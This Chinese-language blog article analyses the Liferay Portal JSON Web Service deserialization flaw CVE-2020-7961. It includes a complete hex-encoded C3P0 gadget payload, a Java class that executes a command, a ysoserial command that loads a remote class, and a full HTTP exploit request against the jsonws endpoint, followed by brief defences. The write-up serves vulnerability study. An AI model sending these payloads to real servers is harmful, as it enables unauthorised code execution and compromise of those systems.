浅谈Liferay Portal JSON Web Service未授权反序列化远程代码执行漏洞
字数 1816 2025-08-25 22:58:28
Liferay Portal JSON Web Service 未授权反序列化远程代码执行漏洞(CVE-2020-7961)深度分析与利用
漏洞概述
Liferay Portal 是一款开源的企业级门户产品,提供对多个独立系统的内容集成。该漏洞存在于其JSON Web Service中,允许未授权攻击者通过精心构造的恶意数据进行反序列化攻击,最终实现远程代码执行。
漏洞编号:
- CVE-2020-7961
- LPS-88051/LPE-165981
威胁等级: 高危
影响版本:
- Liferay Portal 6.1.X
- Liferay Portal 6.2.X
- Liferay Portal 7.0.X
- Liferay Portal 7.1.X
- Liferay Portal 7.2.X
漏洞成因分析
Liferay Portal 主要存在两个版本分支的漏洞:
- 6.X版本:使用Flexjson进行JSON数据处理
- 7.X版本:使用Jodd Json进行JSON数据处理
虽然底层JSON处理库不同,但攻击payload是通用的,不需要区分版本。
Flexjson反序列化漏洞
环境搭建
使用Maven导入Flexjson依赖:
<dependency>
<groupId>net.sf.flexjson</groupId>
<artifactId>flexjson</artifactId>
<version>3.1</version>
</dependency>
基本使用
JSONDeserializer jsonDeserializer = new JSONDeserializer();
try {
jsonDeserializer.deserialize(json);
} catch (Exception e) {
e.printStackTrace();
}
可利用的Gadget Chains
Flexjson没有严格的黑名单机制,以下Gadget可用:
javax.swing.JEditorPane- 可用于SSRF探测com.mchange.v2.c3p0.WrapperConnectionPoolDataSource- 主要利用类com.sun.rowset.JdbcRowSetImpl- JNDI注入
C3P0 Gadget利用示例
String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;\"}";
恶意类构造
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process p = Runtime.getRuntime().exec("open -a calculator");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
序列化文件生成与转换
- 使用ysoserial生成序列化文件:
java -jar ysoserial.jar C3P0 "http://127.0.0.1/:ExportObject" > 1.ser
- 将序列化文件转换为Hex编码:
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class Echo3 {
public Echo3() {
}
public static void main(String[] args) throws IOException {
InputStream in = new FileInputStream("/Users/xue/Documents/NetSafe/Tools/JavaTools/1.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, 4984);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
boolean var3 = false;
int n;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
public static String bytesToHexFun3(byte[] bytes) {
StringBuilder buf = new StringBuilder(bytes.length * 2);
byte[] arr$ = bytes;
int len$ = bytes.length;
for(int i$ = 0; i$ < len$; ++i$) {
byte b = arr$[i$];
buf.append(String.format("%02x", new Integer(b & 255)));
}
return buf.toString();
}
}
Liferay Portal漏洞利用
环境搭建
-
下载官方集成tomcat的环境:
https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z -
解压后进入目录:
liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin -
启动环境:
./catalina.sh run
漏洞利用报文构造
基本请求格式:
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded
defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:class类名=json数据&columnId=1
C3P0利用示例
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded
defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;"}&columnId=1
可利用的Gadget Chains
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource(C3P0)org.apache.commons.beanutils.BeanComparator(CommonsBeanutils1)org.apache.commons.collections4.comparators.TransformingComparator(CommonsCollections10)
回显构造技术
方法1:获取Liferay Portal的context
com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();
注意:7.X版本的context包名与6.X版本不一致。
方法2:Tomcat全局request/response
适用于中间件为Tomcat的环境。
方法3:Unix通杀回显
适用于Unix系统环境。
回显实现方式
- C3P0序列化加载hex字节码不出网回显
- C3P0远程调用恶意类回显
- com.sun.rowset.JdbcRowSetImpl JNDI注入回显
对于JNDI注入回显,可以将序列化文件转为base64,使用javaSerializedData解码。
防御措施
- 升级到已修复版本
- 限制对
/api/jsonws/端点的访问 - 实施输入验证和过滤
- 使用安全的JSON反序列化库
- 实施网络层防护措施
参考链接
- https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
- https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271